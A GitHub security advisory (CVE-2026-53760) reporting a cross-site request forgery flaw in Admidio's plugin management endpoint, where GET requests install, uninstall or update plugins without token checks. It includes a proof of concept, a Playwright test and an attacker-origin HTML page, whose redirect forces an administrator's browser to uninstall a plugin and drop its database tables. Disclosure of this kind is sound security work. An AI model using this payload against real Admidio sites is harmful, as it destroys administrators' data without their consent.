Skip to content

Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests

Moderate severity GitHub Reviewed Published Jun 2, 2026 in Admidio/admidio • Updated Jul 9, 2026

Package

composer admidio/admidio (Composer)

Affected versions

<= 5.0.11

Patched versions

None

Description

Summary

The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.

Details

modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:

// modules/plugins.php
$mode = admFuncVariableIsValid($_GET, 'mode', 'string');
$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');

The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.

Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.

The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:

// modules/plugins.php - doUninstall()
function doUninstall($pluginFolder) {
    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql
    // Contains DROP TABLE statements
}

Proof of Concept

The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:

// playwright-csrf-poc.js
const { test, expect } = require('@playwright/test');

test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {
    const context = await browser.newContext();
    const page = await context.newPage();

    // Step 1: Admin logs in to Admidio
    await page.goto('https://admidio.example.com/adm_program/system/login.php');
    await page.fill('#usr_login_name', 'admin');
    await page.fill('#usr_password', 'password');
    await page.click('#btn_login');
    await page.waitForURL('**/overview.php');

    // Step 2: Admin visits attacker-controlled page on different origin
    // The attacker page contains:
    //   <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>
    await page.goto('https://attacker.example.com/csrf.html');

    // Step 3: Browser follows redirect with SameSite=Lax cookies
    // The birthday plugin is uninstalled, its database tables dropped
    await page.waitForURL('**/plugins.php*');

    // Verify the plugin was uninstalled
    await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');
    const content = await page.content();
    expect(content).not.toContain('birthday');
});

Simplified attacker page (csrf.html hosted on attacker origin):

<html>
<body>
<script>
  window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';
</script>
</body>
</html>

When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.

Impact

An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The uninstall operation executes DROP TABLE statements, causing irreversible data loss. The install operation activates plugins with known vulnerabilities. The update operation disrupts plugin functionality. The victim only needs to visit a single page.

Recommended Fix

Switch plugin install, uninstall, and update operations from GET to POST requests. Add SecurityUtils::validateCsrfToken() checks to all state-changing operations in modules/plugins.php, consistent with the pattern used elsewhere in the codebase.


Found by aisafe.io

References

@Fasse Fasse published to Admidio/admidio Jun 2, 2026
Published to the GitHub Advisory Database Jul 9, 2026
Reviewed Jul 9, 2026
Last updated Jul 9, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. Learn more on MITRE.

CVE ID

CVE-2026-53760

GHSA ID

GHSA-hm42-q32m-vj4f

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.